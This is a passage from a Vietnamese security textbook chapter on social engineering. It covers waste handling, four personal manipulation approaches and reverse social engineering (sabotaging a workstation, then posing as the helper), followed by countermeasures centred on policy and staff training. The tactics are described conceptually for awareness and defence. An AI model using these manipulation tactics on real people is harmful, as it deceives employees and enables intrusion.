  • Nên đặt các thùng rác ở trong vùng an toàn mà không tiếp cận với công cộng.


Bên cạnh quản lý chất thải bên ngoài cũng cần phải quản lý chất thải bên trong. Chính sách bảo mật thường không chú ý vấn đề này, bởi vì nó thường được giả định rằng bất cứ ai được phép vào công ty phải là đáng tin cậy. Rõ ràng, điều này không phải lúc nào cũng đúng. Một trong những biện pháp có hiệu quả nhất để quản lý giấy thải là đặc tả của việc phân loại dữ liệu. Bạn xác định loại giấy khác nhau dựa trên các thông tin và chỉ định cách thức nhân viên quản lý sự vứt bỏ của họ. Ví dụ có thể phân thành các loại: Bí mật công ty, riêng tư, văn phòng, công cộng...

7.4.                Personal Approaches


Cách rẻ nhất và đơn giản nhất cho hacker lấy thông tin là hỏi trực tiếp. Cách tiếp cận này có vẻ thô lỗ và rõ ràng, nhưng nó nền tảng của các thủ đoạn đánh lừa bí mật. Có 4 cách tiếp cận chính minh chứng thành công của social engineer:

Sự đe dọa: cách tiếp cận này có thể bao gồm sự mạo danh một người có thẩm quyền để ép buộc mục tiêu làm theo yêu cầu.

Sự thuyết phục: hình thức thông thường của sự thuyết phục gồm có nịnh hót hay bằng cách nói rằng mình quen toàn những nhân vật nổi tiếng.

Sự mến mộ: cách tiếp cận này là một thủ đoạn dài hơi, trong đó người cấp dưới hoặc đồng nghiệp xây dựng một mối quan hệ để lấy lòng tin, thậm chí, thông tin từ mục tiêu.

Sự trợ giúp: với cách tiếp cận này, hacker tỏ ra sẵn sàng giúp mục tiêu. Sự trợ giúp này cuối cùng đòi hỏi mục tiêu tiết lộ ra thông tin cá nhân giúp hacker đánh cắp nhận dạng của mục tiêu.

Bảo vệ user chống lại những loại của tiếp cận cá nhân thì rất khó khăn. Nó phụ thuộc khá nhiều vào nhận thức của nhân viên. Việc phát triển một môi trường làm việc cộng đồng tin cậy sẽ làm giảm mức độ thành công của hacker. Thường xuyên tổ chức những chương trình tập huấn về mức độ rủi ro của an ninh cho nhân viên là cách tốt nhất giúp họ nâng cao nhận thức, chống lại kiểu tấn công này.

7.5.                Reverse Social Engineering


Là một hình thức cao hơn social engineering, giải quyết các khó khăn phổ biến của social engineering bình thường. Hình thức này có thể mô tả là một user hợp pháp của hệ thống hỏi hacker các câu hỏi cho thông tin. Trong RSE, hacker được cho là có vị trí cao hơn user hợp pháp, người thực sự là mục tiêu. Để thực hiện một tấn công RSE, kẻ tấn công phải có sự hiểu biết về hệ thống và luôn luôn phải có quyền truy xuất trước đó đã được cấp cho anh ta, thường là do social engineering bình thường tiến hành.

Tấn công RSE tiêu biểu bao gồm 3 phần chính: sự phá hoại, sự quảng cáo, sự giúp đỡ. Sau khi đạt quyền truy xuất bằng các phương tiện khác, hacker phá hoại workstation bằng cách làm hư station, hoặc làm cho nó có vẻ là hư hỏng. Với sự phong phú các thông báo lỗi, chuyển các tham số/tùy chọn, hoặc chương trình giả mạo có thể thực hiện việc phá hoại. Người sử dụng thấy các trục trặc và sau đó tìm kiếm sự giúp đỡ. Để là người được user gọi tới, kẻ tấn công phải quảng bá là hắn ta có khả năng sửa được lỗi. Sự quảng bá có thể bao gồm đặt các thẻ kinh doanh giả mạo xung quanh các văn phòng hay thậm chí cung cấp số điện thoại để gọi đến trong thông báo lỗi.

8. Biện pháp đối phó Social Engineering


Để xác định được phương pháp đối phó với Social Engineering là điều rất quan trọng trong các kỹ thuật phòng thủ và tấn công. Nó có liên quan đến vấn đề về xã hội nên việc phòng chống nó có chút rắc rối về cách tư cách của con người. Có một số cách để làm điều này.

Chính sách (policy) an ninh trong công ty quyết định vấn đề an toàn của hệ thống. Bạn cần đặt ra những quy định, giới hạn quyền truy cập cho các nhân viên trong công ty.

Huấn luyện tốt cho nhân viên về an ninh là điều rất cần thiết. Khi nhân viên của bạn hiểu ra các vấn đề an ninh, họ sẽ tự trách các rủi ro trước khi có sự can thiệt của phòng an ninh.

Vấn đề về con người cũng không kém quan trọng. Vì kỹ thuật tấn công này chủ yếu liên quan đến tư tưởng con người. Sự lơ là của nhân viên, sự mất lòng tin của nhân viên cũng là nguy cơ mất an toàn cho hệ thống.

Xây dựng một framework quản lý an ninh: Phải xác định tập hợp các mục đích của an ninh social engineering và đội ngũ nhân viên những người chịu trách nhiệm cho việc phân phối những mục đích này.

Đánh giá rủi ro: Các mối đe dọa không thể hiện cùng một mức độ rủi ro cho các công ty khác nhau. Ta phải xem xét lại mỗi một mối đe dọa social engineering và hợp lý hóa mối nguy hiểm trong tổ chức.

Social engineering trong chính sách an ninh: Phát triển một văn bản thiết lập các chính sách và thủ tục quy định nhân viên xử trí tình huống mà có thể là tấn công social engineering. Bước này giả định là chính sách bảo mật đã có, bên ngoài những mối đe dọa của social engineering. Nếu hiện tại không có chính sách bảo mật, thì cần phải phát triển chúng.

9. Tổng Kết


Bạn cần nắm vững các nội dung sau đây trước khi học tiếp chương sau:

  • Social engineering  là kỹ thuật xã hội, dùng mối quan hệ con người để thu thập tin cần thiết phục vụ cho những cuộc tấn công phía sau.

  • Quan trọng nhất trong kỹ thuật này là dựa vào điểm yếu của con người.

  • Các bước thực hiện một cuộc tấn công Social engineering  là: Thu thập thông tin, chọn mục tiêu, tấn công.

  • Các kiểu tấn công phổ biến có thể kể đến như: Insider Attack, Indentify Theft, Online Scam, Phising…

  • Và cuối cùng là để phòng chống lại kiểu tấn công này, không có cách nào hiểu quả bằng cách giáo dục cho nhân viên của bạn những thù đoạn lừa đảo để họ tự cảnh giác.




<<<<<<<<<Theo Nguyễn Tấn Thành<<<>>>>>>>>>>>>

Ads Inside Post